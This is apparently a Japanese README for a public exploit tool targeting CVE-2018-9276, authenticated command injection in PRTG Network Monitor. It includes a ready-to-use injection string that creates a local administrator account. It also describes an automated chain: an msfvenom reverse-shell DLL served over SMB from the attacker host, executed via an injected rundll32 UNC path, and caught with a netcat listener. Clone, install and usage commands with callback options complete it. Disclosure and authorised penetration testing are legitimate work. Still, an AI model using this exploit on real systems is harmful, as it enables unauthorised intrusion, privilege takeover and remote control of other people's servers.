
CVE-2018-9276 — PRTG Network Monitor < 18.2.39 認証済みRCE。教育目的および許可を得たペネトレーションテストのみを対象としています。
⚠️ 免責事項: このツールは教育目的および許可を得たペネトレーションテストのみを対象としています。自分が所有するシステム、または明示的な書面による許可を得たシステムに対してのみ使用してください。無断使用は違法です。
PRTG Network Monitor は、Paessler AG が開発したネットワーク監視ツールです。18.2.39 より前のバージョンは、通知機能を介した認証済みコマンドインジェクションに対して脆弱であり、有効な認証情報を持つ攻撃者が Local System(PRTG インストールの既定サービスアカウント)として リモートコード実行(RCE) を達成できます。
この脆弱性は、Josh Berry によるペネトレーションテスト中に発見され、Paessler AG に報告されました。Paessler AG は 2018年4月20日 にパッチをリリースしています。本脆弱性には CVE-2018-9276 が割り当てられました。
PRTG には、特定のイベント発生時に管理者がスクリプトを実行できるようにする通知システムが含まれています。任意のコード実行を防ぐため、PRTG は実行可能なスクリプトをサーバー上の特定ディレクトリにあるものに制限しています。既定では、次の2つのデモスクリプトのみが利用可能です。
Demo EXE Notification - OutFile.batDemo EXE Notification - OutFile.ps1PowerShell デモスクリプト(OutFile.ps1)は、通知の Parameter フィールドの値を 何のサニタイズも行わずに スクリプトへ直接渡します。これにより、セミコロンの後に任意の PowerShell コマンドを追加してインジェクトすることが可能になります。
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add
PRTG が通知を実行すると、インジェクトされたコマンドは Local System 権限で実行されます。
注記: バッチスクリプト(
OutFile.bat)は脆弱ではありません。Paessler はバッチファイルに渡す前に入力をサニタイズしているようです。インジェクションは.ps1スクリプトを介した場合にのみ機能します。
このエクスプロイトは以下の手順を自動化します。
1. Check server version → confirm target is vulnerable
2. Authenticate → obtain a valid session cookie
3. Stage a file notification → initialise a writable output file on the target
4. Trigger the file notification → execute it via /api/notificationtest.htm
5. Generate a reverse shell DLL → msfvenom (windows/shell_reverse_tcp)
6. Host the DLL → serve it over SMB from the attacker machine
7. Stage a command notification → inject rundll32.exe <UNC_PATH>,0 after the output file
8. Trigger the command notification → execute the DLL on the target
9. Catch the reverse shell → nc -nvlp <LPORT>
PRTG では、インストールディレクトリ内にあるスクリプトのみを通知として実行できるため、任意のバイナリを単純にアップロードして実行することはできません。代わりに、以下の手順を実行します。
msfvenom を使用して Windows リバースシェルを .dll ファイルとして生成します。.dll を攻撃者マシンの SMB 共有でホストします。rundll32.exe \\attacker\share\payload.dll,0 コマンドをインジェクトします。rundll32.exe は UNC パスから DLL をロードして実行できるため、PRTG が直接実行できるファイルの制限を回避できます。
msfvenom(Metasploit Framework の一部)netcat(nc)impacket — 組み込みの SMB サーバーにのみ必要(オプション。--no-smb を参照)pip install impacket
DLL をホストする手段がすでにある場合(例:
impacket-smbserver、Metasploit のexploit/multi/handler、または別の SMB サーバー)、--no-smbと--shell-locationを使用して impacket を完全にスキップできます。
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt # only impacket
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
[--user USER] [--password PASSWORD] [--https]
[--no-smb] [--shell-location SHELL_LOCATION] [-v]
options:
-i, --host Target IP or hostname
-p, --port Target port (e.g. 80 or 443)
--lhost Local IP for the reverse shell callback
--lport Local port for the reverse shell callback
--user PRTG username (default: prtgadmin)
--password PRTG password (default: prtgadmin)
--https Use HTTPS (self-signed certificates accepted)
--no-smb Skip the built-in SMB server (payload already hosted)
--shell-location Override the UNC path to the DLL payload
-v, --verbose Enable verbose / debug output
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 443 \
--lhost 10.10.14.5 \
--lport 4444 \
--user admin \
--password Sup3rS3cr3t \
--https
# Host the payload yourself first:
impacket-smbserver share /tmp -smb2support
# Then run the exploit pointing to your share:
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444 \
--no-smb \
--shell-location '\\10.10.14.5\share\payload.dll'
prtgadmin / prtgadmin)は、悪用のハードルを劇的に下げます。| Field | Value |
|---|
| CVE | CVE-2018-9276 |
| 影響を受けるバージョン | PRTG Network Monitor < 18.2.39 |
| 種別 | 認証済みコマンドインジェクション |
| 必要な権限 | 有効なPRTG認証情報が必要 |
| 影響 | Local System としてのリモートコード実行 |
| CVSSスコア | 7.2(高) |
| パッチ | PRTG 18.2.39(2018年4月20日リリース) |